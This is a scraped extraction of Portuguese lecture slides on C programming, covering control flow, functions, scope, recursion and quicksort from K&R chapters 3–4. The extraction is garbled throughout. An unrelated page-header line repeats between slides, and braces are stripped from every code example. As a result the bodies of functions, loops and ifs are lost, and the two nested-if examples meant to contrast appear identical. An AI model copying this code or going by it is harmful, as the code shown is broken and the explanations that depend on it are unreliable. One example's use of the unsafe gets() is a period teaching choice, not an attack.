+, -, e * unários têm maior precedência que formas

binárias.

AED 2003/2004 – p.129/554

Page 178: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Precedência e ordem de avaliação

Ordem de avaliação de argumentos de operadoresindefinida excepto virgula ,, ...

AED 2003/2004 – p.130/554

Page 179: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Precedência e ordem de avaliação

Ordem de avaliação de argumentos de operadoresindefinida excepto vírgula ,, &&, ||, e ?:.

Problemas: x = f() + g(); e tanto f como gmodificam variáveis externas de que o outro depende

Ordem de avaliação de argumentos de funções

Problema:printf("%d %d\n", ++n, potencia(2,n));

Expressões envolvendo efeitos condicionais

Problema: a[i] = i++;

AED 2003/2004 – p.131/554

Page 180: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Precedência e ordem de avaliação

Compiladores diferentes têm soluções diferentes(melhor solução pode depender da arquitectura damáquina)

Moral: má prática escrever código dependente daordem de avaliação

AED 2003/2004 – p.132/554

Page 181: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

AED 2003/2004 – p.133/554

Page 182: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

AED 2003/2004 – p.134/554

Page 183: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

AED 2003/2004 – p.135/554

Page 184: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Parte III

K&R Cap. 3

AED 2003/2004 – p.136/554

Page 185: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Controlo de Execução

Instruções e Blocos

IfElse-If

Switch

Ciclos:Instruções While e ForInstrução Do-While

Break e Continue

Goto e Labels

AED 2003/2004 – p.137/554

Page 186: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Instruções

Expressão terminada por ’;’

Caracter ’;’ denota o fim de uma instrução

x = 0;

i++;

AED 2003/2004 – p.138/554

Page 187: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Blocos (ou Instruções Compostas)

Chavetas, e , permitem agrupar declarações einstruções

instruções de uma funçãoconjuntos de instruções em if, for, while, etc.

int x, i = 1;

x = 0;

i++;

printf(¨%d %d\n¨);

AED 2003/2004 – p.139/554

Page 188: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Instrução If

Permite expressar decisões:

if (expressao)

instrucao1

else

instrucao2

Se expressão tem valor diferente de 0, instrução1 éexecutada

Se expressão tem valor igual a 0, instrução2 éexecutada

AED 2003/2004 – p.140/554

Page 189: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

If’s Encadeados

if (n > 0)

if (a > b)

z = a;

else

z = b;

else é sempre associado com o if mais interno

Para associar com if mais externo:

if (n > 0)

if (a > b)

z = a;

else

z = b;

AED 2003/2004 – p.141/554

Page 190: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

If’s Encadeados

Atenção à associação dos else’s com if’s:

if (n >= 0)

for (i = 0; i < n; i++)

if (s[i] > 0) printf(¨...¨);

return i;

else

printf(¨Erro -- n e negativo¨);

else é associado com o if mais interno

AED 2003/2004 – p.142/554

Page 191: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Else-If

É usual utilizar else-if para representar uma decisãocom opções múltiplas:

if (expressao)

instrucao

else if (expressao)

instrucao

else if (expressao)

instrucao

else if (expressao)

instrucao

else

instrucao

AED 2003/2004 – p.143/554

Page 192: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Um Exemplo – Procura Binária

/* procura_binaria: encontra x em v[0] <= v[1] <= ... <= v[n-1] */

int procura_binaria(int x, int v[], int n)

int low, high, mid;

low = 0;

high = n-1;

while (low <= high)

mid = (low + high) / 2;

if (x < v[mid])

high = mid - 1;

else if (x > v[mid])

low = mid + 1;

else

return mid; /* valor encontrado */

return -1; /* nao existe */

AED 2003/2004 – p.144/554

Page 193: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Instrução Switch

Representa decisão com opções múltiplas, que testase uma expressão assume um de um conjunto devalores inteiros constantes:

switch (expressao)

case const-expr: statements

case const-expr: statements

default: statements

default é opcional

default é executado se expressão diferente de qualquerdos outros casos

AED 2003/2004 – p.145/554

Page 194: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Um Exemplo – Contagem de Dígitos

#include <stdio.h>

main() /* Conta digitos, espacos e outros */

int c, i, nbranco, noutro, ndigito[10];

nbranco = noutro = 0;

for (i = 0; i < 10; i++)

ndigito[i] = 0;

while ((c = getchar()) != EOF)

...

(cont.)

AED 2003/2004 – p.146/554

Page 195: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Um Exemplo – Contagem de Digitos

...

while ((c = getchar()) != EOF)

switch (c)

case ’0’: case ’1’: case ’2’: case ’3’: case ’4’:

case ’5’: case ’6’: case ’7’: case ’8’: case ’9’:

ndigito[c - ’0’]++;

break;

case ’ ’: case ’\t’: case ’\n’:

nbranco++;

break;

default:

noutro++;

break;

AED 2003/2004 – p.147/554

Page 196: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Intrução While

while (expressao)instrucao

Enquanto expressão for diferente de zero, a instrução éexecutada

Ciclo termina quando valor de expressão for zero

AED 2003/2004 – p.148/554

Page 197: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Instrução For

for (expr1; expr2; expr3)instrucao

Equivalente a:

expr1;while (expr2)instrucao;expr3;

expr1, expr2, expr3: respectivamente, expressões deinicialização, de condição de ciclo, e de incremento

Utilizar for para ciclos com inicialização e incrementosimples

Ciclo infinito ? AED 2003/2004 – p.149/554

Page 198: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Converter Caracteres em Número

#include <ctype.h>

/* atoi: converte string s para inteiro */

int atoi(char s[])

int i, n, sign;

for (i = 0; isspace(s[i]); i++) /* saltar espacos */

;

sign = (s[i] == ’-’) ? -1 : 1;

if (s[i] == ’+’ || s[i] == ’-’) /* saltar sinal */

i++;

for (n = 0; isdigit(s[i]); i++)

n = 10 * n + (s[i] - ’0’);

return sign * n;

AED 2003/2004 – p.150/554

Page 199: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Inverter Cadeia de Caracteres

/* inverte: inverte string s no lugar */

void inverte(char s[])

int c, i, j;

for (i = 0, j = strlen(s) - 1; i < j; i++, j--)

c = s[i];

s[i] = s[j];

s[j] = c;

AED 2003/2004 – p.151/554

Page 200: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Instrução Do-While

doinstrucao

while (expressao);

A instrução é executada

Se expressão é diferente de zero, instrução volta a serexecutada

etc.

AED 2003/2004 – p.152/554

Page 201: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Converter Número em Caracteres

/* itoa: converte n para caracteres em s */

int itoa(int n, char s[])

int i, sign;

if ((sign = n) < 0) /* registar sinal */

n = -n; /* tornar n positivo */

i = 0;

do

s[i++] = n % 10 + ’0’; /* obter proximo digito */

while ((n /= 10) > 0); /* apagar digito */

if (sign < 0)

s[i++] = ’-’;

s[i] = ’\0’;

inverte(s);

AED 2003/2004 – p.153/554

Page 202: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Converter Número em Caracteres

Outra solução, que não inverte string

/* itoa: converte n para caracteres em s */

int itoa(int n, char s[])

int sign, nc;

if ((sign = n) < 0) /* registar sinal */

n = -n; /* tornar n positivo */

/* numero de caracteres */

nc = floor((log10(n) + 1)) + ((sign < 0) ? 1 : 0);

s[nc--] = ’\0’;

do

s[nc--] = n % 10 + ’0’; /* obter proximo digito */

while ((n /= 10) > 0); /* apagar digito */

if (sign < 0)

s[nc] = ’-’;

return nc; /* valor de i e 0 ... */

AED 2003/2004 – p.154/554

Page 203: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Instruções Break e Continue

A instrução break permite terminar a execução de umainstrução for, while, do ou switch

A instrução continue desencadeia a execução dapróxima iteração de uma instrução for, while ou do

Para a instrução for, a execução continua com aexpressão de incremento

O que acontece com:

for(i=0; i<n; i++)

if (a[i] < 0)

continue;

... /* instrucoes */

AED 2003/2004 – p.155/554

Page 204: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Remoção de Caracteres

/* remove: remove brancos, tabs e \n’s no fim de string */

int remove(char s[])

int n;

for (n = strlen(s) - 1; n >= 0; n--)

if (s[n] != ’ ’ && s[n] != ’\t’ && s[n] != ’\n’)

break;

s[n+1] = ’\0’;

return n;

AED 2003/2004 – p.156/554

Page 205: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Leitura de Linhas

Pretende-se realizar uma função que lê as linhas,escritas pelo utilizador, e coloca cada linha numacadeia de caracteres. Cada linha é retornada após serlida

AED 2003/2004 – p.157/554

Page 206: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Leitura de Linhas

#include <stdio.h>

/* getline: ler linha para s, retornar comprimento */

int getline(char s[], int lim)

int c, i;

i = 0;

while (--lim > 0 && (c = getchar()) != EOF && c != ’\n’)

s[i++] = c;

if (c == ’\n’)

s[i++] = c;

s[i] = ’\0’;

return i;

AED 2003/2004 – p.158/554

Page 207: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Substituir Strings: y por x em s

Dadas três strings, x, y e s, substituir primeiraocorrência de y em s por x

Admitir que |x| = |y| ≤ |s|

AED 2003/2004 – p.159/554

Page 208: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Substituir Strings: y por x em s

/* Substitui y por x em s; x e y com o mesmo numero de caracteres */

int str_repl(char s[], char y[], char x[])

int i, j, match;

int slen = strlen(s);

int ylen = strlen(y);

for (i=0; i<=slen-ylen; i++)

for (match = 1, j=0; j<ylen; j++)

if (!(match = (s[i+j] == y[j])))

break;

if (!match)

continue;

for (j=0; j<ylen; j++)

s[i+j] = x[j];

return 1;

return 0;

AED 2003/2004 – p.160/554

Page 209: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Ordenar Vector Composto por 0’s e 1’s

Dado vector com n elementos, em que cada entradatem valor 0 ou 1, realizar algoritmo para ordenar vector

AED 2003/2004 – p.161/554

Page 210: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Ordenar Vector Composto por 0’s e 1’s

/* Ordena vector de 0’s e 1’s */

int sort01(int tab[], int size)

int i, j, tmp;

for (i=0, j=size-1; i < j; )

while (tab[i] == 0 && i <= j)

i++;

while (tab[j] == 1 && i <= j)

j--;

if (i <= j)

tmp = tab[i];

tab[i] = tab[j];

tab[j] = tmp;

AED 2003/2004 – p.162/554

Page 211: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Ordenar Vector Composto por 0’s e 1’s

Algoritmo apresentado não é estável:Ordem relativa dos 0’s (ou dos 1’s) não é mantida

Problema: desenvolver algoritmo estável para ordenarvector composto por 0’s e 1’s

AED 2003/2004 – p.163/554

Page 212: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Parte IV

K&R Cap. 4

AED 2003/2004 – p.164/554

Page 213: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Funções e Estrutura de Programas

Funções

Variáveis Externas

Regras de Scope

Ficheiros de Cabeçalho

Variáveis Estáticas

Variáveis de Registo

Estrutura de Blocos

Inicialização

Recursão

O Preprocessador do C

AED 2003/2004 – p.165/554

Page 214: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Funções

Programa C composto por uma função main obrigatóriae por um conjunto de funções

Funções permitem a realização de funcionalidadesbem definidas

factorial, combinacoes, lerlinha, ordenacao, etc.

Funções organizadas por ficheiros, normalmente com opropósito de realizar um conjunto de funcionalidadesrelacionado

bibliotecas de I/Oestruturas de dados dedicadasetc.

AED 2003/2004 – p.166/554

Page 215: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Funções

tipo-retorno nome-funcao(declaracoes-argumentos)

declaracoes e instrucoes

Exemplo mais simples:

nada()

AED 2003/2004 – p.167/554

Page 216: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Funções – Retorno de Valores

Instrução return:Instrução que permite retornar um valor da funçãochamada à função que a chamareturn expressao;

Valor de expressão convertido para o valor deretorno função

Problema: função para converter string em double?

AED 2003/2004 – p.168/554

Page 217: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Converter String em Double

#include <ctype.h>

/* atof: converte string s em double */

double atof(char s[])

double val, power;

int i, sign;

for (i=0; isspace(s[i]); i++) /* salta espaco em branco */

;

sign = (s[i] == ’-’) ? -1 : 1;

if (s[i] == ’-’ || s[i] == ’+’)

i++;

for (val=0.0; isdigit(s[i]); i++)

val = 10.0 * val + (s[i] - ’0’);

if (s[i] == ’.’)

i++;

for (power=1.0; isdigit(s[i]); i++)

val = 10.0 * val + (s[i] - ’0’);

power *= 10.0;

return sign * val / power;

AED 2003/2004 – p.169/554

Page 218: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Uma Calculadora Simples

#include <stdio.h>

#define MAXLINE 100

/* calculadora simples */

main()

double sum, atof(char s[]);

char line[MAXLINE];

sum = 0;

while (gets(line) > 0) /* Ler linha */

printf("\t%g\n", sum += atof(line));

return 0;

AED 2003/2004 – p.170/554

Page 219: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Variáveis Externas

Um programa C é composto por conjunto de objectosexternos, que podem ser variáveis ou funções

Variáveis externas podem ser utilizadas por qualquerfunção

Variáveis internas, definidas como argumentos ouinternamente a uma função, apenas podem serutilizadas dentro da função

Exemplo:#define MAXVALUE 1000

int st_value[MAXVALUE];

int st_top;

void pushd(int value)

...

st_value[++st_top] = value;

...

AED 2003/2004 – p.171/554

Page 220: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Organização de Programas C

Programas normalmente dividos em vários ficheiros

Cada ficheiro permite implementar conjunto defuncionalidades relacionadas

Exemplo: Pilha de Valores Inteiros – ficheiro istack.c

/* implementacao de pilha de valores */

#define MAXVALUE 1000

int st_value[MAXVALUE];

int st_top;

/* guarda valor na pilha */

void push(int value) ...

/* devolve ultimo valor guardado */

int pop() ...

/* verifica se esta vazio */

int is_emtpy() ...

/* verifica se esta cheio */

int is_full() ... AED 2003/2004 – p.172/554

Page 221: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Regras de Scope

Scope de um nome: parte do programa onde nomepode ser utilizado

Variáveis automáticas/parâmetros de funções: scope éa função onde são declarados

Variáveis são conhecidas desde o ponto em que sãodefinidas até ao fim do ficheiro em causa

Variáveis externas, utilizadas antes de serem definidas,ou definidas noutro ficheiro, deverão declaradas com apalavra-chave extern

AED 2003/2004 – p.173/554

Page 222: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Regras de Scope

Uma variável externa é definida quando são indicadasas propriedades da variável, e quando sãoespecificados os seus requisitos em termos dememória:int a;

Uma variável externa é declarada quando apenas sãoindicadas as suas propriedades:extern int b;

Uma variável apenas pode ter uma definição, emborapossa ser declarada várias vezes

Dimensão de um array obrigatória na definição doarray, mas opcional na declaraçãoInicialização de uma variável externa apenas podeter lugar na definição da variável

AED 2003/2004 – p.174/554

Page 223: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Ficheiros de Cabeçalho

São utilizados para incluirem todas as declaraçõespartilhadas por mais de um ficheiro

Exemplo: Pilha de Valores Inteiros – ficheiro istack.h

/* implementacao de pilha de valores */

extern int st_value[];

extern int st_top;

/* guarda valor na pilha */

extern void push(int value);

/* devolve ultimo valor guardado */

extern int pop();

/* verifica se esta vazio */

extern int is_emtpy();

/* verifica se esta cheio */

extern int is_full();

AED 2003/2004 – p.175/554

Page 224: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Variáveis Estáticas

Limita scope de uma variável entre ponto da definição efim do ficheiro onde definição ocorre

Para variáveis automáticas utilização do qualificadorstatic permite manter o valor da variável entrechamadas à função

Variáveis externas definidas como estáticas permitemlimitar o seu scope ao ficheiro em que são definidas#define MAXVALUE 1000

static int st_value[MAXVALUE];

static int st_top = -1;

Funções também podem ser definidas como estáticas:Limita scope da função entre ponto da definição efim do ficheiro onde definição ocorre

AED 2003/2004 – p.176/554

Page 225: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Exemplo: istack.h

extern void push(int value);

extern int pop();

extern int is_empty();

extern int is_full();

AED 2003/2004 – p.177/554

Page 226: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Exemplo: istack.c

#include <stdio.h>

#include <stdlib.h>

#define MAXVALUE 1000

static int st_value[MAXVALUE];

static int st_top = -1;

void push(int value)

if (st_top >= MAXVALUE-1)

printf("Stack is full. Terminating...\n"); exit(1);

st_value[++st_top] = value;

int pop()

if (st_top == -1)

printf("Stack is empty. Terminating...\n"); exit(1);

return st_value[st_top--];

int is_empty() return st_top == -1;

int is_full() return st_top == MAXVALUE-1; AED 2003/2004 – p.178/554

Page 227: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Exemplo: istack.c (Outra Solução)

#include <stdio.h>

#include <stdlib.h>

#define MAXVALUE 1000

static int st_value[MAXVALUE];

static int st_top = -1;

void push(int value)

if (!is_full())

st_value[++st_top] = value;

int pop()

if (!is_empty())

return st_value[st_top--];

return -1;

int is_empty() return st_top == -1;

int is_full() return st_top == MAXVALUE-1; AED 2003/2004 – p.179/554

Page 228: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Variáveis de Registo

Indicação de que a variável pretende ser utilizadaextensivamente

Declaração apenas pode ser utilizada em variáveisautomáticas ou nos parâmetros formais de funções

Compete ao compilador utilizar (ou não) informaçãosobre variáveis de registo

Exemplo:

register int i;

for (i=0; i<valor_max; i++)

...

...

AED 2003/2004 – p.180/554

Page 229: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Estrutura de Blocos

No C não é possível definir funções dentro de outrasfunções

O C não é uma linguagem baseada em blocos

Definição de variáveis pode ser orientada paraestrutura de blocosDeclarações de variáveis podem estar localizadas apósinício de uma instrução composta

Variáveis automáticas de um bloco são inicializadassempre que bloco é executadoVariáveis estáticas são inicializadas da primeira vezque o bloco da instrução é executado

AED 2003/2004 – p.181/554

Page 230: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Inicialização

Variáveis externas e estáticas inicializadas a 0Valor de incialização é resultado de expressãoconstante

Variáveis automáticas e de registo inicializadas comvalor indefinido

Expressão que define valor de incialização podeenvolver quaisquer valores já previamente definidos

AED 2003/2004 – p.182/554

Page 231: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Inicialização de Vectores

Vectores podem ser inicializados especificando lista devalores de inicialização, entre chavetas e separadospor vírgulasint vect[] = 1, 3, 5, 7 ;

Se dimensão do vector não especificada, então utilizavalores de inicialização para definir o tamanho dovector

Strings podem ser inicializadas como strings ou comoconjuntos de caracteres

AED 2003/2004 – p.183/554

Page 232: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Recursão

Função recursiva permite ser chamada a partir delaprópria

Recursão pode ser substituída por iteraçãoIteração normalmente mais eficienteRecursão é por vezes mais intuitiva

AED 2003/2004 – p.184/554

Page 233: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Escrever String por Ordem Inversa

/* Funcao para escrever string por ordem inversa */

void print_string(char v[], int idx)

if (v[idx] != ’\0’)

print_string(v, idx+1);

printf("%c", v[idx]);

AED 2003/2004 – p.185/554

Page 234: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Procura Binária (Com Recursão)

/* procura_binaria: encontra x em v[0] <= v[1] <= ... <= v[n-1] */

int procura_binaria(int x, int v[], int m, int n)

int mid;

if (m <= n)

mid = (m + n) / 2;

if (x < v[mid])

return procura_binaria(x, v, m, mid-1);

else if (x > v[mid])

return procura_binaria(x, v, mid+1, n);

else

return mid; /* valor encontrado */

return -1; /* nao existe */

AED 2003/2004 – p.186/554

Page 235: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

QuickSort (Com Recursão)

static void swap(int v[], int i, int j)

int temp = v[i]; v[i] = v[j]; v[j] = temp;

static int partition(int v[], int l, int r)

int i = l-1, j = r;

int x = v[r];

for(;;)

while(v[++i] < x) ;

while(v[--j] > x)

if (j == l) break;

if (i >= j) break;

swap(v, i, j);

swap(v, i, r);

return i;

(cont.)AED 2003/2004 – p.187/554

Page 236: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

QuickSort (Com Recursão)...

/* qsort: ordenar q[1], ..., q[n] por ordem crescente */

void qsort(int v[], int l, int r)

int i;

if (l >= r) return;

i = partition(v, l, r);

qsort(v, l, i-1);

qsort(v, i+1, r);

AED 2003/2004 – p.188/554

Page 237: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

O Preprocessador do C

Inclusão de ficheiros:#include ¨xxx.h¨

Substituição de macros:#define max(x,y) ((x) >= (y) ? (x) : (y))

Inclusão condicional:#if !defined HEADER

#define HEADER

...

#endif

AED 2003/2004 – p.189/554

Page 238: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

QuickSort (Versão 2)

#define swap(v, i, j) int temp = v[i]; v[i] = v[j]; v[j] = temp;

static int partition(int v[], int l, int r)

int i = l-1, j = r;

int x = v[r];

for(;;)

while(v[++i] < x) ;

while(v[--j] > x)

if (j == l) break;

if (i >= j) break;

swap(v, i, j);

swap(v, i, r);

return i;

(cont.)

AED 2003/2004 – p.190/554

